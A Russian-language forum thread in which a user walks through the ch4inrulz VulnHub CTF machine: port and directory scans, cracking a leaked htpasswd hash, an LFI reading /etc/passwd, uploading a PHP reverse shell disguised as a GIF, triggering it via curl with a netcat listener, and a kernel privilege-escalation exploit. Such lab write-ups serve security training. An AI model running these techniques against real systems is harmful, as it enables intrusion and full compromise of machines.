PDA

Просмотр полной версии : ch4inrulz: 1.0.1:CTF Прохождение


Debug
20.12.2018, 11:50
Привет Antichat, сегодня мы пройдем еще одно задачу CTF под названием ch4inrulz: 1.0.1 которую мы можем загрузить с Vulnhub.com и установить (ch4inrulz: 1.0.1 ~ VulnHub).
В описание сказано, что данная уязвимая машина была специально разработана для Top Jackan 2018 CTF. Ключевая особенность заключается в том, что данная машина была предназначена для имитации реальных атак.

Уровень средний.

Определение IP

Первая наша задача это узнать IP адрес машины. Сделать это можно хоть с помощью arp-scan хоть с netdiscover. Я загляну на аренду DHCP адресов в настройках своего роутера.

https://forum.antichat.xyz/attachments/29009012/img_622df1e571.png

По старинке, как всегда, мы начинаем наш анализ со сканирования портов. Для этой цели используем nmap. Команда: nmap

-sV -p- 192.168.1.248

. Результат сканирования:

https://forum.antichat.xyz/attachments/29009012/img_666d561f3f.png

Также для анализа я использую программу Acunetix web vulnerability scanner.
Это программа отлично подходит для наших целей - обнаружение уязвимых мест в машине. Она также умеет брутить директории. Обычно для этого используют утилиту dirsearch.

Поиск интересных каталогов

Воспользуемся dirsearch чтобы найти что-то интересное. Команда будет выглядеть:

python3 dirsearch.py -u http://192.168.1.248 -e php,html,png,bak -x 403


Где -u IP адрес(мы помним что у нас открыт 80 порт)
-e расширения файлов для поиска
-x команда для игнорирования ответа с сервера с номером 403

Результат поиска:

https://forum.antichat.xyz/attachments/29009012/img_6781da0a25.png

Лично меня поиск не удовлетворил, интересным оказался только каталог development. Но сначала перейдем по адресу

http://192.168.1.248

и взглянем с чем имеем дело.

https://forum.antichat.xyz/attachments/29009012/img_b843616eb1.png

Полазив по сайту(в исходном коде) ничего интересного не находя переходим в каталог development

https://forum.antichat.xyz/attachments/29009012/img_fbb7005066.png

Ага, вход на сайт запрещен. Стандартные переменные(admin,1234,password and etc.) не подходят, значит нам придется брутить. Но пока можем посмотреть что нашел Acunetix

https://forum.antichat.xyz/attachments/29009012/img_159d391b66.png

https://forum.antichat.xyz/attachments/29009012/img_f8ea9dfd4d.png

Здесь интересным для оказался файл index.html.bak. Скачав и открыв его(я сначала переименуем его в index.html). Открываем и видим:

https://forum.antichat.xyz/attachments/29009012/img_5260edebbe.png

Здесь стоит заглянуть и посмотреть исходный код страницы. Открываем:

https://forum.antichat.xyz/attachments/29009012/img_bfa20e0291.png

Интересным оказалась строка:


<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path →


Теперь нам нужно расшифровать это хеш. Я использую JOHN. Через некоторое время мы получим результат - frank:frank!!!.
Теперь стоит заметить, что в строке фигурирует .htpasswd. Посмотрим что это. Просто так нам не посмотреть(сервер возвращает код 403, у нас нет доступа.) Значит мы попробуем залогиниться с данными которые мы раньше нашли. Данные подошли и результат:

https://forum.antichat.xyz/attachments/29009012/img_33bbeecf68.png

После получение этого файла и внимательного анализа можно догадаться, что нам нужен инструмент для загрузки файлов. P.S. uploader. Теперь наша строка выглядит:


http://192.168.1.248/development/uploader/

и видим:

https://forum.antichat.xyz/attachments/29009012/img_e4b19ed2e6.png

Также замечаем, что защита скрипта составляет 50%. Значит имеем дело с какой-то популярной уязвимостью. Также стоит заметить, что сервер принимает только image файлы(фильтрация). Скорее всего мы сможем обойти и запустить нашу полезную нагрузку.

Сканирование порта 8011

Переходим по адресу

http://192.168.1.248

. Результат:

https://forum.antichat.xyz/attachments/29009012/img_679823a45d.png

Недолго думая сразу брутим каталоги + можно запустить Acunetix web vulnerability scanner.
Команда:

python3 dirsearch.py -u http://192.168.1.248:8011 -e php,html,bak,png,txt -x 403


Acunetix ничего не нашел. А вот dirsearch:

https://forum.antichat.xyz/attachments/29009012/img_b86befbc9c.png

Идем сразу по адресу и смотрим:

http://192.168.1.248:8011/api


https://forum.antichat.xyz/attachments/29009012/img_3961725ad9.png

Сразу пытаемся вставлять эти файлы(P.S файл files_api.php). Наш пазл отлично собирается(А почему?) Да потому что в здесь имеется уязвимость LFI(Local File Inclusion). Может нам стоит посмотреть файл /etc/passwd?

https://forum.antichat.xyz/attachments/29009012/img_7ae385f36e.png

Адрес выглядит следующим образом -

http://192.168.1.248:8011/api/files_api.php?file=/etc/passwd

.
Исследуем дальше… Воспользуемся утилитой curl.

Команда:

curl -X POST -d "file=/etc/passwd" http://192.168.1.248:8011/api/files_api.php


Здесь все должно быть понятным, а результат меня обрадовал:

https://forum.antichat.xyz/attachments/29009012/img_7ea03a3a9d.png

Загружаем shell

И так мы имеем LFI + file upload = shell. Но нам нужно еще обойти функцию фильтрации загружаемых файлов. Также нам стоит узнать куда именно загружаются изображения. Здесь было очень и очень много попыток найти директорию куда все-таки могли загружаться изображения. Каталог FRANKuploads конечно был найден, но это было очень не просто.

Подготовка полезной нагрузки

Я попытался создать полезную нагрузку через meterpreter, но с получением сессии возникли проблемы. Поэтому поступим следующим образом. В Kali Linux возьмем файл /usr/share/webshells/php/php-reverse-shell.php. Теперь откроем его и добавим в самый верх строку GIF98(Надеюсь понятно зачем) Теперь нам также нужно заняться настройкой, найдем в файле следующий блок:

https://forum.antichat.xyz/attachments/29009012/img_b5d3b94fb0.png

Теперь переименуем файл в shell.gif и загрузим на сервер. Перейдя по адресу

http://192.168.1.248/development/uploader/FRANKuploads/

увидим, что файл загружен.

https://forum.antichat.xyz/attachments/29009012/img_4cda48e7c9.png

Теперь используя уязвимость LFI получим наконец-то доступ к машине. Воспользуемся curl. Команда:


curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.248:8011/api/files_api.php


И также предварительно настроив netcat(nc -lvp 8888) запустим и увидим результат.

https://forum.antichat.xyz/attachments/29009012/img_6442897919.png

Теперь мы хотим получить интерактивную оболочку Python

https://forum.antichat.xyz/attachments/29009012/img_f8e2228f0c.png

Получение Root прав

Теперь наша задача найти уязвимость и получить root права. Для этого будем использовать linux-exploit-suggester. Это отличная утилита которая найдет уязвимые места в системе.

Команда для скачивания:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh


Теперь запустим ..les.sh

https://forum.antichat.xyz/attachments/29009012/img_5af55e24df.png

Мы найдем много чего интересного. Уязвимость которая нам подходит Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation(RDS privilege escalation exploit).

Скачав его и запустив Python SimpleHTTPServer мы сможем загрузить эксплоит на нашу машину. И так команда для запуска сервера: python -m SimpleHTTPServer 80

https://forum.antichat.xyz/attachments/29009012/img_5d79e55db1.png

Теперь скачаем и запустим наш эксплоит:

https://forum.antichat.xyz/attachments/29009012/img_ae59b0506b.png

Отлично root права получены. Осталось только прочитать root.txt

https://forum.antichat.xyz/attachments/29009012/img_4c2274e4fd.png

На этом прохождение CTF машины окончено).

Сергей Попов
21.12.2018, 22:13
Почему нет ссылки на источник ? Вопрос и к предыдущей Вашей теме.

Debug
21.12.2018, 22:18
На какой источник? Проходил я сам! Многое реализовано чего нет даже в других статьях, а если есть что-то похожее, так это возможно инструменты? Какой смысл тупо копипастить, я в свободное время прохожу для себя в первую очередь !

z0day
21.12.2018, 23:06
глупый вопрос но какой логин и пароль или это и предстоит выяснить в статью не заглядывала что бы не спойлирить

Debug
21.12.2018, 23:13
z0day сказал(а):

глупый вопрос но какой логин и пароль или это и предстоит выяснить в статью не заглядывала что бы не спойлирить


Ваша задача не получить логин и пароль а получить флаг(flag.txt) в директории /root. Когда вы запустите саму машину и увидеть строку для ввода имени пользователя и пароля, то взаимодействовать с ней надо не через virtual box или wmare. Если не понятно напишите мне я помогу все настроить. Также могу снять видео и по настройке и по прохождению.

z0day
21.12.2018, 23:34
cпасиб но уже разобралась просто не думала что сервер запуститься без входа

Роман Митраков
13.04.2021, 19:47
Debug сказал(а):

Ваша задача не получить логин и пароль а получить флаг(flag.txt) в директории /root. Когда вы запустите саму машину и увидеть строку для ввода имени пользователя и пароля, то взаимодействовать с ней надо не через virtual box или wmare. Если не понятно напишите мне я помогу все настроить. Также могу снять видео и по настройке и по прохождению.


У меня проблема на этапе использования LFI уязвимости.

https://forum.antichat.xyz/attachments/29081963/img_855990e4b1.png

В итоге не получается подключиться с помощью netcat, и продвинуться дальше . Может что-то подскажете ?